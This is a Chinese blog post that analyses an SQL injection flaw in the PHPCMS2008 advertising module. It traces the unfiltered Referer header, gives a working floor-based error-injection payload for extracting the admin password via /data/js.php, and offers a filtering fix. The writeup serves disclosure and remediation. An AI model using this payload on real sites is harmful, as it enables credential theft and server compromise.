PHPCMS2008广告模板SQL注入漏洞修复


Posted in PHP onOctober 11, 2016

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.class.phpshow方法中.

function show($placeid)
...
if($adses[0]['option'])
{
foreach($adses as $ads)
{
$contents[] = ads_content($ads, 1);
$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);
$template = $ads['template'] ? $ads['template'] : 'ads';
}
}
...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referrer',‘$time',,'0')”);

这里$this->referrer过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom.inc.php

<?php 
...
require MOD_ROOT.'include/ads_place.class.php';
require MOD_ROOT.'include/ads.class.php';
...
?>

在往上看看谁调用了/ads/include/commom.inc.php

/ads/ad.php文件中

<?php
...
require './include/common.inc.php';
...
?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php
chdir(‘../ads/');
require ‘./ad.php';
?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

PHPCMS2008广告模板SQL注入漏洞修复

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer);
$this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')");
$template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
最简单的PHP程序--记数器
Oct 09 PHP
PHP提取中文首字母
Apr 09 PHP
ThinkPHP模板IF标签用法详解
Jul 01 PHP
PHP实现多图片上传类实例
Jul 26 PHP
php使用GD创建保持宽高比缩略图的方法
Apr 17 PHP
PHP实现在线阅读PDF文件的方法
Jun 23 PHP
PHP开发中常用的十个代码样例
Feb 02 PHP
PHP入门教程之表单与验证实例详解
Sep 11 PHP
PHP程序员学习使用Swoole的理由
Jun 24 PHP
Laravel框架Request、Response及Session操作示例
May 06 PHP
php+ajax实现文件切割上传功能示例
Mar 03 PHP
php设计模式之适配器模式实例分析【星际争霸游戏案例】
Apr 07 PHP
php基于curl实现随机ip地址抓取内容的方法
Oct 11 #PHP
php 获取文件行数的方法总结
Oct 11 #PHP
PHP中文字符串截断无乱码解决方法
Oct 10 #PHP
PHP获取用户客户端真实IP的解决方案
Oct 10 #PHP
php表单加入Token防止重复提交的方法分析
Oct 10 #PHP
Laravel5中防止XSS跨站攻击的方法
Oct 10 #PHP
php中让人头疼的浮点数运算分析
Oct 10 #PHP
You might like
动态网站web开发 PHP、ASP还是ASP.NET
2006/10/09 PHP
获取php页面执行时间,数据库读写次数,函数调用次数等(THINKphp)
2013/06/03 PHP
Yii学习总结之数据访问对象 (DAO)
2015/02/22 PHP
PHP5.2下preg_replace函数的问题
2015/05/08 PHP
CI框架整合widget(页面格局)的方法
2016/05/17 PHP
Laravel框架生命周期与原理分析
2018/06/12 PHP
laravel5.1 ajax post 传值_token示例
2019/10/24 PHP
PHP pthreads v3在centos7平台下的安装与配置操作方法
2020/02/21 PHP
js跟随滚动条滚动浮动代码
2009/12/31 Javascript
转义字符(\)对JavaScript中JSON.parse的影响概述
2013/07/17 Javascript
IE网页js语法错误2行字符1、FF中正常的解决方法
2013/09/09 Javascript
Ext JS框架程序中阻止键盘触发回退或者刷新页面的代码分享
2016/06/07 Javascript
浅析vue数据绑定
2017/01/17 Javascript
jQuery插件HighCharts绘制2D柱状图、折线图和饼图的组合图效果示例【附demo源码下载】
2017/03/09 Javascript
vue 2.0组件与v-model详解
2017/03/27 Javascript
JS实现json的序列化和反序列化功能示例
2017/06/13 Javascript
JS中Promise函数then的奥秘探究
2018/07/30 Javascript
详解从0开始搭建微信小程序(前后端)的全过程
2019/04/15 Javascript
Vue触发隐藏input file的方法实例详解
2019/08/14 Javascript
Vue实现简易购物车页面
2020/12/30 Vue.js
Python实现一个简单的MySQL类
2015/01/07 Python
python中map()与zip()操作方法
2016/02/27 Python
Python中字典和集合学习小结
2017/07/07 Python
对pandas的dataframe绘图并保存的实现方法
2017/08/05 Python
Python+request+unittest实现接口测试框架集成实例
2018/03/16 Python
使用Python paramiko模块利用多线程实现ssh并发执行操作
2019/12/05 Python
Python字符串hashlib加密模块使用案例
2020/03/10 Python
联想墨西哥官方网站:Lenovo墨西哥
2016/08/17 全球购物
美国名牌手表折扣网站:Jomashop
2020/05/22 全球购物
会计专业应届生自荐信
2014/02/07 职场文书
移风易俗倡议书
2014/04/15 职场文书
作风转变心得体会
2014/09/02 职场文书
购房公证委托书(2014版)
2014/09/12 职场文书
项目负责人岗位职责
2015/02/15 职场文书
2016党员入党决心书
2015/09/22 职场文书
写给医护人员的一封感谢信
2019/09/16 职场文书